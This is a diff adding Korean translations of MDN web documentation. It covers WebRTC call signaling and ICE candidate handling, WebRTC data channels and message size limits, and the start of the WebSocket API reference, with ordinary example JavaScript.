+<p><code>createOffer()</code>이나 다른 fulfillment 핸들러에서 에러가 발생한다면, <code>reportError()</code>함수가 실행되어 에러를 보고한다.</p>
+
+<p><code>setLocalDescription()</code>의 fulfillment 핸들러가 실행되면, ICE agent는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event들을 처리하기 시작한다.</p>
+
+<h4 id="Session_negotiation">Session negotiation</h4>
+
+<p>이제 다른 피어와 협상을 할 것이다. 다른 피어는 우리의 offer를 받을 것이고, <code>handleVideoOfferMsg()</code>에 전달한다. Callee에게 <code>"video-offer"</code>message가 도착 했을 때의 이야기를 계속해보자.</p>
+
+<h5 id="Handling_the_invitation">Handling the invitation</h5>
+
+<p>offer가 도착할 때, callee의 <code>handleVideoOfferMsg()</code>함수가 실행되고, offer를 포함한 <code>"video-offer"</code>message를 받을 것이다. 이 코드는 2가지를 해야한다. 첫째, 자기 자신의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>과 media stream을 생성해야 한다. 두번째, 받은 offer를 분석하고 애이에 대한 answer를 만들어 보내야한다.</p>
+
+<pre class="brush: js notranslate">function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+
+    document.getElementById("local_video").srcObject = localStream;
+    return myPeerConnection.addStream(localStream);
+  })
+
+// …
+</pre>
+
+<p>이 코드는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Starting_a_call">Starting a call</a>에 있는 <code>invite()</code>함수와 매우 비슷하다. 먼저, <code>createPeerConnection()</code>함수를 이용해서 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>를 생성하고 구성한다. 그 후에, <code>"video-offer"</code>message로부터 얻은 SDP offer를 가지고 caller의 session description을 나타내는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCSessionDescription"><code>RTCSessionDescription</code></a>object를 생성한다.</p>
+
+<p>그 후에, session description은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/setRemoteDescription"><code>myPeerConnection.setRemoteDescription()</code></a> 안으로 전달된다. 이를 통해, 받은 offer를 caller의 session 정보로 저장한다. 설정에 성공했다면, promise fulfillment handler(<code>then()</code>clause)은 callee의 카메라와 마이크에 접근하고 stream을 설정하는 등 이전에 <code>invite()</code>에서 본 것과 같은 프로세스를 시작한다.</p>
+
+<p>local stream이 작동한다면, 이제 SDP answer를 만든 후 caller에게 보내야 한다.</p>
+
+<pre class="brush: js notranslate">  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}</pre>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addStream"><code>RTCPeerConnection.addStream()</code></a> 이 성공적으로 완료되었다면, 그 다음 fulfillment handler가 실행될 것이다. SDP answer string을 만들기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/createAnswer"><code>myPeerConnection.createAnswer()</code></a>를 실행한다. 커넥션에서 callee의 로컬 description을 설정하기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/setLocalDescription"><code>myPeerConnection.setLocalDescription</code></a>에 생성한 SDP를 전달한다.</p>
+
+<p>최종 answer는 caller에게 보내져서, 어떻게 callee에게 닿을 수 있는지 알게해준다. <code>"video-answer"</code>message의 <code>sdp</code>property에 callee의 answer를 포함하고, caller에게 이 메세지를 전달한다.</p>
+
+<p>에러가 발생하면 <code>handleGetUserMediaError()</code>으로 전달되고, <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Handling_getUserMedia%28%29_errors">Handling getUserMedia() errors</a>에 잘 설명되어 있다.</p>
+
+<div class="note">
+<p>caller와 마찬가지로 <code>setLocalDescription()</code>fulfillment handler가 실행되면, 브라우져는 callee가 반드시 처리해야하는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event들을 처리하기 시작한다.</p>
+</div>
+
+<h5 id="Sending_ICE_candidates">Sending ICE candidates</h5>
+
+<p>caller가 callee로부터 answer를 받으면 모든 것이 끝났다고 생각할 수 있지만, 그렇지 않다. 뒷단 에서는 각 피어들의 ICE agent들이 열심히 ICE candidate message들을 교환한다. 미디어 통신이 어떻게 연결될 수 있는지에 대한 방법들을 알릴 때까지, 각 피어들은 상대방에게 계속해서 candidate들을 보낸다. 이 candidate들은 너의 시그널링 서버를 통해서 전송되어야 한다. ICE는 너의 시그널링 서버에 대해 모르기 때문에, 너는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event를 위한 핸들러를 불러서 전송된 candidate 들을 너의 코드로 직접 처리해야한다.</p>
+
+<p>너의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/onicecandidate"><code>onicecandidate</code></a>handler는 <code>candidate</code>property가 candidate의 정보를 담고 있는 SDP(단, candidate들의 끝에는<code>null</code>이 찍혀있다) 인 이벤트들을 받는다. 이것이 너의 시그널링 서버를 통해 다른 피어에게 전송해야할 것들이다. 밑에 구현 예제가 있다.</p>
+
+<pre class="brush: js notranslate">function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}</pre>
+
+<p>이 코드에서 candidate를 포함하는 object를 만들고 다른 피어에 보낸다. <code>sendToServer()</code>함수는 위에서 이미 다뤘으며 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Sending_messages_to_the_signaling_server">Sending messages to the signaling server</a>에 코드가 있다. message의 property들이 의미하는 것은 다음과 같다.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>ICE candidate가 보내야하는 곳의 username. 이것을 통해 시그널링 서버가 메세지를 타겟에게 전달한다.</dd>
+ <dt><code>type</code></dt>
+ <dd>메세지 타입은 <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>ICE layer가 다른 피어에게 전송하고자하는 candidate object.</dd>
+</dl>
+
+<p>메세지의 포맷(시그널링을 처리하는 모든 메세지들은)은 모두 너의 영역이고, 너가 필요한 것에 달렸다. 너가 또다른 필요한 정보가 있다면 추가할 수 있다. 메세지는 그저 JSON stringfied 되어 상대방에게 전달될 뿐이다.</p>
+
+<div class="note">
+<p>Call의 다른 피어로부터 ICE candidate가 도착할 때, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event가 전송되는 것이 <strong>아님을 항상 명심해라</strong>. 대신에 너 자신이 call을 할 때 보내는 것으로, 너가 원하는 채널을 통해 data를 보낼 수 있다. WebRTC를 처음 접한다면 매우 헷갈릴 것이다.</p>
+</div>
+
+<h5 id="Receiving_ICE_candidates">Receiving ICE candidates</h5>
+
+<p>시그널링 서버는 어떤 방법을 고르던 간에 각 ICE candidate를 목적지까지 배달한다. 이번 예제 에서는 type이 <code>"new-ice-candidate"</code>인 JSON object를 사용한다. <code>handleNewICECandidateMsg()</code>함수는 이 메세지들을 처리하기 위해 실행된다.</p>
+
+<pre class="brush: js notranslate">function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}</pre>
+
+<p>수신된 SDP를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate"><code>RTCIceCandidate</code></a> 생성자의 인자로서 전달하여 object를 생성하고, 이 object를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addIceCandidate"><code>myPeerConnection.addIceCandidate()</code></a> 에 전달한다. 이 함수를 통해 새로운 ICE candidate를 local ICE layer에 전달하고, 드디어 candidate 를 핸들링하는 프로세스에서 우리의 역할은 끝났다.</p>
+
+<p>각 피어는 작동할 것으로 보이는 각 커넥션 메소드의 candidate를 다른 피어에게 보낸다. 양측은 합의에 도달하고 커넥션을 open한다. 협약을 진행 중에도 더 나은 커넥션 메소드를 찾거나, 단순히 피어가 커넥션을 설정할 때 candidate 교환이 진행 중이었을 수 있기 때문에, candidate는 여전히 송,수신 될 수 있음을 기억해라.</p>
+
+<h5 id="Receiving_new_streams">Receiving new streams</h5>
+
+<p>리모트 피어가 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addStream"><code>RTCPeerConnection.addStream()</code></a>를 부름으로써, 또는 stream format에 대한 renegotiation(재협상)에 의해 새로운 스트림이 커넥션에 추가되었을 때, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/addstream"><code>addstream</code></a>event가 발생한다. 어떻게 처리하는지 아래 코드를 보자.</p>
+
+<pre class="brush: js notranslate">function handleAddStreamEvent(event) {
+  document.getElementById("received_video").srcObject = event.stream;
+  document.getElementById("hangup-button").disabled = false;
+}</pre>
+
+<p>이 함수는 들어오는 stream을 id가 <code>"received_video"</code>인 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a>element에 할당하고, 유저가 전화를 받을 수 있도록 버튼을 활성화한다.</p>
+
+<p>이 코드가 제대로 실행된다면, 드디어 다른 피어에서 오는 비디오를 로컬 브라우저에서 볼 수 있게 된다!</p>
+
+<h5 id="Handling_the_removal_of_streams">Handling the removal of streams</h5>
+
+<p>리모트 피어가 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/removeStream"><code>RTCPeerConnection.removeStream()</code></a>를 호출하여 커넥션으로부터 스트림을 없애면, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/removestream"><code>removestream</code></a>event가 발생하게 된다.</p>
+
+<pre class="brush: js notranslate">function handleRemoveStreamEvent(event) {
+  closeVideoCall();
+}</pre>
+
+<p>이 함수는 <code>closeVideoCall()</code>함수를 실행시켜 call이 닫히도록 만들고, 다른 커넥션을 시작할 수 있도록 기존 인터페이스를 버린다. 어떻게 코드가 동작하는지 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Ending_the_call">Ending the call</a>을 참조해라.</p>
+
+<h4 id="Ending_the_call">Ending the call</h4>
+
+<p>There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred. Or one user might have quit their browser, or had a systen crash.</p>
+
+<h5 id="Hanging_up">Hanging up</h5>
+
+<p>When the user clicks the "Hang Up" button to end the call, the <code>hangUpCall()</code> function is apllied:</p>
+
+<pre class="brush: js notranslate">function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}</pre>
+
+<p><code>hangUpCall()</code> executes <code>closeVideoCall()</code>, shutting down and resetting the connection and related resources. We then build a <code>"hang-up"</code> message, sending this to the other end of the call, allowing the other peer to neatly shut down.</p>
+
+<h5 id="Ending_the_call_2">Ending the call</h5>
+
+<p>아래에 있는 <code>closeVideoCall()</code>함수는 stream들을 멈추고 지운 후에,<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>object를 없앤다.</p>
+
+<pre class="brush: js notranslate">function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+      remoteVideo.srcObject = null;
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+      localVideo.srcObject = null;
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  document.getElementById("hangup-button").disabled = true;
+
+  targetUsername = null;
+}</pre>
+
+<p>2개의 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a>element를 참조한 이후에, WebRTC 커넥션이 존재하는지 체크한다. 만약 있다면, call을 끊고 닫는다:</p>
+
+<ol>
+ <li>리모트와 로컬 비디오 stream에 대해서, 각 track들 마다 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaTrack/stop"><code>MediaTrack.stop()</code></a>를 실행시킨다.</li>
+ <li>양 비디오의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement/srcObject"><code>HTMLMediaElement.srcObject</code></a>property를 <code>null</code>로 바꿔 stream에 관한 모든 참조를 푼다.</li>
+ <li>
+  <p><a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/close"><code>myPeerConnection.close()</code></a>를 불러 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>을 닫는다.</p>
+ </li>
+ <li>
+  <p><code>myPeerConnection</code>변수의 값을 <code>null</code>로 바꿔서 계속 진행중인 call이 없다는 것을 전체 코드가 알게 한다. 이것은 유저가 유저 리스트에서 username을 클릭할 때 사용된다.</p>
+ </li>
+</ol>
+
+
+
+<p>마지막으로, "Hang Up" 버튼의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/disabled"><code>disabled</code></a> property를 <code>true</code>로 바꿔서 call이 없는 동안에는 클릭이 불가능하게 만든다. 그 다음에 더이상 통화를 하지 않으므로 <code>targetUsername</code>을 <code>null</code>로 바꾼다. 이것을 통해 또 다른 유저에게 call을 하거나 새로운 call을 받을 수 있다.</p>
+
+<h4 id="Dealing_with_state_changes">Dealing with state changes</h4>
+
+<p>다양한 상태 변화를 너의 코드에 알리기 위해 listener를 세팅할 수 있는 다양한 이벤트들이 있다. 그 중에 다음 3가지를 사용하겠다.: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.</p>
+
+<h5 id="ICE_connection_state">ICE connection state</h5>
+
+<p>커넥션 state가 바뀌면(예를들어, call이 다른쪽에서 중단 될 때) ICE layer가 <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#"><code>iceconnectionstatechange</code></a>event를 우리에게 보낸다.</p>
+
+<pre class="brush: js notranslate">function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}</pre>
+
+<p>ICE connection state가 <code>"closed"</code>, 또는<code>"failed"</code>, 또는 <code>"disconnected"</code>으로 바뀔 때 <code>closeVideoCall()</code>함수를 실행한다. 커넥션을 끊으며, 처음(또는 accept) call 상태로 돌아간다.</p>
+
+<h5 id="ICE_signaling_state">ICE signaling state</h5>
+
+<p>마찬가지로 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/signalingstatechange"><code>signalingstatechange</code></a>event를 받을 수 있는데, 시그널링 상태가 <code>"closed"</code>으로 바뀌면 call을 완전히 종료시킨다.</p>
+
+<pre class="brush: js notranslate">  myPeerConnection.onsignalingstatechange = function(event) {
+    switch(myPeerConnection.signalingState) {
+      case "closed":
+        closeVideoCall();
+        break;
+    }
+  };</pre>
+
+<h5 id="ICE_gathering_state">ICE gathering state</h5>
+
+<p>{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but we're implementing it for logging, observing via the console log how the whole process works.</p>
+
+<pre class="brush: js notranslate">function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+</pre>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>You can now <a href="https://webrtc-from-chat.glitch.me/">play with this sample</a> to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">GitHub</a>) has a lot of console output so you can see the signaling and connection processes at work.</p>
diff --git a/files/ko/web/api/webrtc_api/using_data_channels/index.html b/files/ko/web/api/webrtc_api/using_data_channels/index.html
new file mode 100644
index 0000000000..e1c5963e58
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/using_data_channels/index.html
@@ -0,0 +1,95 @@
+---
+title: WebRTC data channel 사용하기
+slug: Web/API/WebRTC_API/Using_data_channels
+translation_of: Web/API/WebRTC_API/Using_data_channels
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}} 인터페이스를 사용하여 WebRTC Peerconnction을 연결하면 이제 두 Peer간의 커넥션을 통하여 미디어 데이터를 주고 받을수 있게됩니다. 그뿐아니라 WebRTC로 할수 있는 일은 더 있습니다. 이 가이드에서 우리는 peer connection에 데이터 채널을 추가하는 방법과 임의의 데이터, 즉 우리가 원하는 어떠한 포멧의 데이터들을 안전하게 주고 받는 방법을 배우게 될 것 입니다.    </span>    </p>
+
+<div class="note">
+<p>모든 WebRTC 컴포넌트들은 암호화를 사용하게 되어 있기 때문에 <code>RTCDataChannel</code>을 이용하는 어떤 데이터 전송도 자동적으로 Datagram Transport Layer Security (<strong>DTLS</strong>)을 사용하여 암호화 됩니다. 자세한 내용은 {{anch("Security")}} 를 참고하십시오.</p>
+</div>
+
+<h2 id="데이터_채널_만들기">데이터 채널 만들기</h2>
+
+<p>{{domxref("RTCDataChannel")}}를 이용한 기초적인 데이터 전송은 아래의 두 방법중 하나를 이용하여 만들수 있습니다.</p>
+
+<ul>
+ <li>WebRTC가 전송수단을 만들게 하고 {{event("datachannel")}} 이벤트를 수신 받게 하여 remote peer에 알립니다. 참 쉽죠? 이 단순한 로직을 바탕으로 수많은 활용법을 만들어 낼 수 있습니다. 하지만 단순하기 때문에 구현하고자하는 모든 요구를 만족해주지는 못합니다.</li>
+ <li>데이터 전송을 할 수 있는 코드를 스스로 작성하고 새로운 채널이 연결되었다는 것을 알려줄수 있는 코드를 작성해주십시오. </li>
+</ul>
+
+<p>위에서 언급한 두가지 방법을 각각 살펴보겠습니다. 우선은 가장 일반적으로 사용되는 첫번째 방법부터 살펴보겠습니다.</p>
+
+<h3 id="자동_협상Automatic_negotiation">자동 협상(Automatic negotiation)</h3>
+
+<p>{{domxref("RTCDataChannel")}} 연결의 협상을 핸들링하기 위해 대부분 Peer 연결을 사용하게 됩니다. 이를 위해 간단히 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 지정하지 않고 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 를 호출하거나 그저 false로 설정합니다. 이 행위는 협상을 핸들링하기 위해 자동적으로 RTCPeerConnection를 발동시키고 원격 피어(remote peer)가 데이터 채널을 만들고 네트워크를 통하여 서로를 연결되게 만듭니다.</p>
+
+<p>createDataChannel()를 통해 RTCDataChannel 객체가 즉시 반환됩니다. 그후 {{domxref("RTCDataChannel.open_event", "open")}}의 이벤트가 RTCDataChannel로 송신되는 것을 확인한다면 성공적으로 연결되었다고 말할 수 있습니다. </p>
+
+<pre>let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) =&gt; {
+  beginTransmission(dataChannel);
+});</pre>
+
+<h3 id="수동_협상Manual_negotiation">수동 협상(Manual negotiation)</h3>
+
+<p>Data channel의 수동협상을 위해서 우선 {{domxref("RTCPeerConnection")}}에 있는  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 매소드를 사용하여 {{domxref("RTCDataChannel")}} 객체를 생성해야 합니다. 이때 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 true로 설정해야 합니다. 이 피어 연결을 위한 신호들은 설정하는 측의 피어 연결 협상을 시도하지 않도록 합니다.</p>
+
+<p>대역외의 연결 협상은 웹서버나 다른 방법을 이용해야 합니다. 이 절차들은 수동으로 RTCDataChannel을 원격 피어에게 신호를 보내야 하며 동일한 {{domxref("RTCDataChannel.id", "id")}}를 사용해야 하고 negotiated 프로퍼티는 true로 설정해야합니다. 이 설정들은  RTCPeerConnection를 이용해 두 오브젝트가 연결되게 합니다.</p>
+
+<pre>let dataChannel = pc.createDataChannel("MyApp Channel", {
+  negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) =&gt; {
+  beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);</pre>
+
+<p>위의 코드에서는 채널 생성시 negotiated 프로퍼티를 true로 설정해주었고 requestRemoteChannel()을 호출함으로 원격 채널과 동일한 로컬 채널 ID를 만들기 위한 협상(negotiation)을 발동시켰습니다.</p>
+
+<p>이 절차를 밟으므로서 다른 프로퍼티를 갖는 각각의 피어들이 데이터 채널을 생성하고 같은 id 값을 사용하는 채널을 명확하고 쉽게 생성할수 있습니다.</p>
+
+<h2 id="버퍼링Buffering">버퍼링(Buffering)</h2>
+
+<p>WebRTC 데이터채널은 아웃바운드 데이터에 대해 버퍼링을 제공합니다. 이것은 자동적으로 처리가됩니다. buffer의 사이즈를 컨트롤 할 수 없는 동안 당신은 얼마나 많은 데이터가 현재 버퍼 되어 있는지 배울 수 있고 큐 데이터의 버퍼가 고갈되기 시작할 때 알림을 받도록 선택할 수 도 있습니다. 이것은 메모리 과다사용이나 채널을 완전히 밀어내버리는 것을 없애고 언제나 데이터를 보낼수 있도록 효과적인 루틴을 만들기 쉽게 해줍니다. </p>
+
+<p><strong>&lt;&lt;&lt;write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here&gt;&gt;&gt;</strong></p>
+
+<p>...</p>
+
+<h2 id="메세지_크기_제한에_대해_이해하기">메세지 크기 제한에 대해 이해하기</h2>
+
+<p>네트워크를 통하여 전송되는 데이터라면 그 데이터는 반드시 사이즈가 제한됩니다. 기초적인 레벨의 이야기를 하자면, 각각의 네트워크 패킷은 어떠한 값보다 클 수 없습니다. (정확한 숫자는 네트워크와 전송 계층이 사용하고 있는 것에 따라 다릅니다.) 어플리케이션 계층에서는 — 즉 당신의 코드가 돌아가고 있는 WebRTC {{Glossary("user agent", "user agent's")}} — WebRTC가 네트워크의 전송계층위의 최대 패킷사이즈보다 메시지가 더 큰지 확인하는 것을 구현할 수 있습니다.</p>
+
+<p>만약 당신이 사이즈 제한 크기가 궁금하지 않다거나 대용량 메세지를 보내거나 받는 것이 필요하지 않다면 이 이야기는 복잡한 이야기가 될 수 있습니다.  Even when user agents share the same underlying library for handling Stream Control Transmission Protocol (SCTP) data, there can still be variations due to how the library is used. 예를들어 Firefox와 구글 크롬은 SCTP를 구현하기 위해 <code><a href="https://github.com/sctplab/usrsctp">usrsctp</a></code> 라이브러리를 사용합니다. 이때 그  두 브라우저가 어떻게 라이브러리에 요청하고 이벤트에 반응하는지에 따라 <code>RTCDataChannel</code> 을 이용한 데이터 전송이 실패하는 경우가 있습니다.</p>
+
+<p>두 유저가 파이어폭스에 있는 데이터채널을 사용하여 통실할 때 메세지 사이즈의 제한은 파이어폭스와 크롬을 각각 사용할 때보다 큽니다. 왜냐하면 파이어폭스의 구현 방법은 현재 다중 SCTP메세지를 전송하는 기술을 deprecated하여 놓았습니다. 하지만 크롬은 여전히 가능합니다. 크롬은 완성 될것이라 확신하는 메시지 시리즈를 보는 대신 RTCDataChannel을 다중 메시지로서 수신하는 것으로 대채할 것입니다. </p>
+
+<p>메세지가 16kiB 작다면 별다른 무리 없이 보낼 수 있을 것 입니다. 대부분의 메이저 user agents도 동일하게 다룹니다. </p>
+
+<h3 id="대용량_메세지에_대해_고려해보기">대용량 메세지에 대해 고려해보기</h3>
+
+<p><s>현재 메세지 사이즈가 64kiB (16kiB if you want to support cross-browser exchange of data)를 넘는 <code>RTCDataChannel</code> 는 구현되지 않았습니다. 문제는 <code>RTCDataChannel</code>에서 송수신 프로토콜로 사용되는 SCTP가 원래 시그널링 프로토콜로 디자인 되었다는 것 입니다. 그래서 메세지가 상대적으로 작은 사이즈라고 가정하고 만들어진 프로토콜입니다.  Support for messages larger than the network layer's {{interwiki("wikipedia", "Maximum transmission unit", "MTU")}} was added almost as an afterthought, in case signaling messages needed to be larger than the MTU. 이 기능은 각각의 조각에 연속적인 시퀀스 번호를 필요로 합니다. 즉 상호배치를 통해 동시에 여러 데이터를 보낼 수 없고 하나를 보낸 이후 다시 하나를 보내야 합니다.</s></p>
+
+<p><s>이러한 점은 문제가 됩니다.</s>  지금 그리고 이후에도 WebRTC를 구현하고 있는 것들을 포함한 다양한 어플리케이션 들이 더욱더 큰 메시지를 전송하기 위해 SCTP를 사용합니다. 결국에 메시지가 감당할수 없을 만큼 커지게 된다면 정말 중요한 시그널링 메시지를 포함한 데이터 채널에서 전송되는 모든 다른 데이터들이 블락당할수 있다는 것을 알게되었습니다.</p>
+
+<p>이것은 브라우저가 현재의 대용량 메시지를 처리하는 표준인 end-of-record(EOR) 플레그 (메시지가 여러 시리즈에서 마지막일때 하나의 페이로드로서 취급하게하는 플레그)를 제공할때 문제가 됩니다. 이 플레그는 Firefox 57에서는 구현이 되어있습니다. 그러나 Chrome 에서는 아직 구현이 되어있지 않습니다.(<a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a> 참조). EOR를 제공하는 RTCDataChannel 페이로드는 더욱 커질 수 있습니다. (공식적으로 256kiB까지이며 Firfox의 구현으로는 1GiB까지가능). 256kiB에서 조차 긴급한 트래픽을 처리하기에는 유의미한 지연을 야기시키에 충분히 큰 용량입니다. 만약 여기서 더 커진다면 지연은 당신이 특정한 조작을 하더라도 줄일수 없을 것입니다.</p>
+
+<p>이러한 문제점을 해결하기 위해 <strong>스트림 스케쥴러(stream schedulers)</strong>라고하는 이름지어져 있으며 SCTP ndata specification이라고도 불리우는 새로운 시스템을 디자인하였습니다. 이 스케쥴러는 WebRTC 데이터 채널에 구현되어 있는 스트림을 포함한 각기 다른 스트림에 메시지를 상호배치하여 전송가능합니다. 이 <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">제안</a>은 IETF 제안(draft form) 상태에 있지만 한번 구현된다면 SCTP 계층은 자동적으로 서브메시지들에게 모든 데이터 채널을 통과할수 있는 기회를 보장하는 상호배치를 하기때문에 기본적으로 사이즈에 제한이 없는 메시지를 보낼수 있게될것입니다.</p>
+
+<p>Firefox는 ndata를 지원하기 위해 현재 구현단계에 있습니다. 일반적인 사용이 언제쯤 가능할지에 대해 궁금하시다면 {{bug(1381145)}} 을 관심있게 보고 계십시요. Chrome 팀은 <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696">Chrome Bug 5696</a> 를 통해 ndata 지원을 위한 구현을 트래킹하고 있습니다.</p>
+
+<div class="originaldocinfo">
+<p>이 섹션에 있는 대부분의 정보는 다음 블로그 포스트를 기반으로 작성되었습니다. <a href="https://lgrahl.de/articles/demystifying-webrtc-dc-size-limit.html">Demystifyijng WebRTC's Data Channel Message Size Limitations</a>, written by Lennart Grahl. 이 블로그를 보시면 더욱 자세한 내용이 나와 있습니다. 그러나 브라우져들은 당시보다 업데이트 되었기때문에 그 정보들은 현재와 맞지 않을 수 도 있습니다. 또한 현재는 시간이 많이 흘러 대부분의 메이저 브라우저에서는 EOR이 구현되어 있습니다.</p>
+</div>
+
+<h2 id="보안Security">보안(Security)</h2>
+
+<p>WebRTC로 전송되는 모든 데이터는 암호화됩니다.  <code>RTCDataChannel</code> 의 암호화는<a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security</a> (TLS)를 바탕으로 하는 Datagram Transport Layer Security (DTLS)를 사용합니다. TLS는 모든 암호화된 HTTPS 통신에 사용되기 때문에 data channel에 사용되는 모든 데이터는 사용자의 브라우저가 데이터를 주고받는 만큼의 보안이 보장됩니다.</p>
+
+<p>조금더 근본적으로 WebRTC는 두 사용자간의 peer-to-peer 연결이기때문에 데이터가 어떠한 다른 웹이나 어플리케이션 서버를 경유하지 않습니다. 이러한 통신방식으로 인해 데이터가 중간에 가로채어질 가능성이 줄어듭니다.</p>
diff --git a/files/ko/web/api/websocket/index.html b/files/ko/web/api/websocket/index.html
new file mode 100644
index 0000000000..59bbb8aac9
--- /dev/null
+++ b/files/ko/web/api/websocket/index.html
@@ -0,0 +1,248 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+tags:
+  - API
+translation_of: Web/API/WebSocket
+---
+<div>{{APIRef("Web Sockets API")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>WebSocket</code></strong> 객체는 서버와의 <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> 연결을 생성하고 관리할 수 있는 API 들을 제공합니다. 이는 데이터를 전송하거나 주고 받는 등의 API 들을 포함합니다.</p>
+
+<p><code>WebSocket</code> 생성자는 하나의 필수 파라미터와, 하나의 옵셔널 파라미터를 받습니다:</p>
+
+<pre class="syntaxbox">WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>연결할 URL 주소입니다; 웹소켓 서버가 응답할 수 있는 위치의 주소이여야 합니다.</dd>
+ <dt><code>protocols</code> {{optional_inline}}</dt>
